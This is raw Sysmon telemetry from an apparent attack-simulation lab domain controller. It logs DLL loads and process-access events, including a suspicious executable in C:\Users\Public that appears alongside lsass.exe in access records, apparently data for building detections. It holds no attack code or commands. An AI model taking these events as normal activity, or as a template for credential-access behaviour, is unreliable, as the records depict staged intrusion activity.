(rs1_release.200707-2105)Net Logon Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationLOGONCLI.DLLMD5=B5C16F0A457DB3C7695AAC9EE7E3EE1E,SHA256=88764349C57E619C6D1253BB2F4AFB27DBD141E9EB9C12D445C20F7384A4F437,IMPHASH=FD7877EA3FC7D2EDCA1ADC932A5034BDtrueMicrosoft WindowsValid 734700x800000000000000049891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.716{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\security.dll10.0.14393.0 (rs1_release.160715-1616)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecurity.dllMD5=0C05DA5BB5C6841C6290F64CA34F1CBD,SHA256=9C48F8D23D42C3CAF06938C2B8AAFCB51E4BE879BA21578FDD9B9D6635F1C0D8,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.716{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\winbrand.dll10.0.14393.4530 (rs1_release.210705-0736)Windows Branding ResourcesMicrosoft® Windows® Operating SystemMicrosoft Corporationwinbrand.dllMD5=79E4DAD0DB8F0D1258F7092007354241,SHA256=DDFCF94DA71C8F49DC505F2FC94540037A0955BE831BF59C34BFBB62A998FB20,IMPHASH=2C424150D7AE913E28B879B06042C9F2trueMicrosoft WindowsValid 23542300x800000000000000049886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.716{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BD254F5983EB53ACE7526D2580F39A6A,SHA256=93448EE5DA47B379F233CD742B6029F0B166ECC6434E385283405265FD870971,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.716{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000049884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.716{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000049883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.716{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\schannel.dll10.0.14393.4225 (rs1_release.210127-1811)TLS / SSL Security ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationschannel.dllMD5=2562B81E255EB6DF8497402ABC6C59BB,SHA256=340532C238CA5B84BA9D7A2DB4D1CCD58D869FECC44A463A93F54C974E1B41F4,IMPHASH=D9603397C5B04530FFA0321E70FF2308trueMicrosoft WindowsValid 734700x800000000000000049882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.716{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\wbem\wmiutils.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwmiutils.dllMD5=5179B0DEF3AB5CAC3BA02316AF1B6B40,SHA256=FA4112CB0D1A133C41FD001F958F0BE930BB49072BF97A3D765AEA8DB841ABC4,IMPHASH=EE3767E8CDC80CCB91A8FC0A7407A4A9trueMicrosoft WindowsValid 23542300x800000000000000049881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.703{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=628C075FCACCFD288580E6311A8B5BCC,SHA256=BCCA5B7A64EDA9205DB00F65E00D78F9E2F764F8037C20BDBF68102131E2C35F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.685{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\wbem\fastprox.dll10.0.14393.0 (rs1_release.160715-1616)WMI Custom MarshallerMicrosoft® Windows® Operating SystemMicrosoft Corporationfastprox.dllMD5=C2F7834269D565263C65757EDE37A66C,SHA256=17651A35255229CE95F065CA1BCCC4867B43DA879D72AFCC91FBA4768225C7D3,IMPHASH=481A52B415277FC8692C7D6D9EA3475CtrueMicrosoft WindowsValid 734700x800000000000000049879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.685{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\wbem\wbemsvc.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemsvc.dllMD5=2BE97028B7B85762561F475E31989C2A,SHA256=75C9D8C6D41B4B7D70666A8107A08A748CEF6CB9E60AD0288B10CDE12E274AFF,IMPHASH=200200BEAF933FA4627BF83C67BA473EtrueMicrosoft WindowsValid 734700x800000000000000049878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.653{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSOXMLMF.DLL16.0.55555.10000Microsoft Office XML MIME FilterMicrosoft Office InfoPathMicrosoft Corporationmsoxmlmf.dllMD5=A8E37C49E2DE6531F7CE98A3907B5E49,SHA256=C867B2038C9004C61DDC7F12BF5710E3F9E00F6123021F9FCDDCA516805E5D11,IMPHASH=2FBBB50A2FD9FBA453E53FAC5D37C71EtrueMicrosoft CorporationValid 734700x800000000000000049877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\msxml3.dll8.110.14393.4467MSXML 3.0Microsoft XML Core ServicesMicrosoft CorporationMSXML3.dllMD5=6814685E95C03FBB44F443A2E382A0BC,SHA256=01FE087FEC5C44D5DC17875038BEDCC47544F710DEB83D421A7D6DF05DA688CF,IMPHASH=8448C86FFD89411B97A54FA488DD34AAtrueMicrosoft WindowsValid 734700x800000000000000049876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.653{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\vcruntime140_1.dll14.27.29114.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=74B5641A50C27B57ED0DA622E66A239E,SHA256=A571D26E536D4F7DA93ACC24EDB1D823140B660795576DC27F626F1889106D36,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000049875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.653{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\vcruntime140.dll14.27.29114.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=766F0D18983E0810882FBA122AD1163E,SHA256=F10EF6DE6C651DB42DBD455A1C674047862CEBF6CCCE1F784CDB0571C9EA9757,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000049874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000049873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.653{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 10341000x800000000000000049872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.653{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.653{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.653{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000049869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000049867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\wininet.dll11.00.14393.4583 (rs1_release.210730-1850)Internet Extensions for Win32Internet ExplorerMicrosoft Corporationwininet.dllMD5=524876363DA8F469C13E0818256B6131,SHA256=DAA85FEAB4553D9A203A85A58C8CB26A2784E0D33226B41AAE98471DAE75C035,IMPHASH=B3ABC7D59C2B1ACAEECA63C53B0AAC4BtrueMicrosoft WindowsValid 734700x800000000000000049866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000049865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000049860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000049859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\iertutil.dll11.00.14393.4467 (rs1_release.210604-1844)Run time utility for Internet ExplorerInternet ExplorerMicrosoft CorporationIeRtUtil.dllMD5=1D608361848C3A3AC56488995E8D0BB1,SHA256=D95DE5DBAD08E22CB0CFB9322220E752F16124C15867F7748E4D64795E400EBF,IMPHASH=BB80FB0B79AB68B9AA174726B09C8CE9trueMicrosoft WindowsValid 734700x800000000000000049856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.465{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\DBGHELP.DLL10.0.17763.1 (WinBuild.160101.0800)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationDBGHELP.DLLMD5=3AD4BA5FD42E006E38D60AC93FD882E1,SHA256=502593C125B3DCF31D4565FCA6CF49E75233E1D6F3A7DEF2E2E2431E2501D349,IMPHASH=BB529474C9F4922E66F0E0B9D3349BC3trueMicrosoft CorporationValid 734700x800000000000000049855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.637{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\urlmon.dll11.00.14393.4530 (rs1_release.210705-0736)OLE32 Extensions for Win32Internet ExplorerMicrosoft CorporationUrlMon.dllMD5=B63DBDFEC215CF37259DC4A88ADBD0E7,SHA256=67B02F3DE0AF36E76C2D259CE7833EDA4FE33D935538E8A4C1E7E82130870FC1,IMPHASH=D30D879B129DBE4925A85E9DD136188BtrueMicrosoft WindowsValid 734700x800000000000000049853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.450{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\v8jsi.dll0.63.1.8_5_210_20React Native V8 JSI AdapterReact Native V8 JSI AdapterMicrosoftv8jsi.dllMD5=A0BC9DBA90FC6D10B7618702FB67EC58,SHA256=2A6EBAA66D27F565E4008619D680DF1F2F13E77C2155F658B29F841B9D49AE51,IMPHASH=E64F7B67E99304FA996881606BB4CF13trueMicrosoft CorporationValid 734700x800000000000000049852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.622{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.622{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 10341000x800000000000000049850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.622{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.622{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\wbemcomn.dll10.0.14393.4530 (rs1_release.210705-0736)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemcomn.dllMD5=91E2160941219FFEBE4093E6681BE4CF,SHA256=3B8AA86EAF2200F53A6EB57B08A34F1BA5E467B72E5002C3BCBF20AF40D98CD1,IMPHASH=69BCD1B17DF0CA323B0C1639784D745BtrueMicrosoft WindowsValid 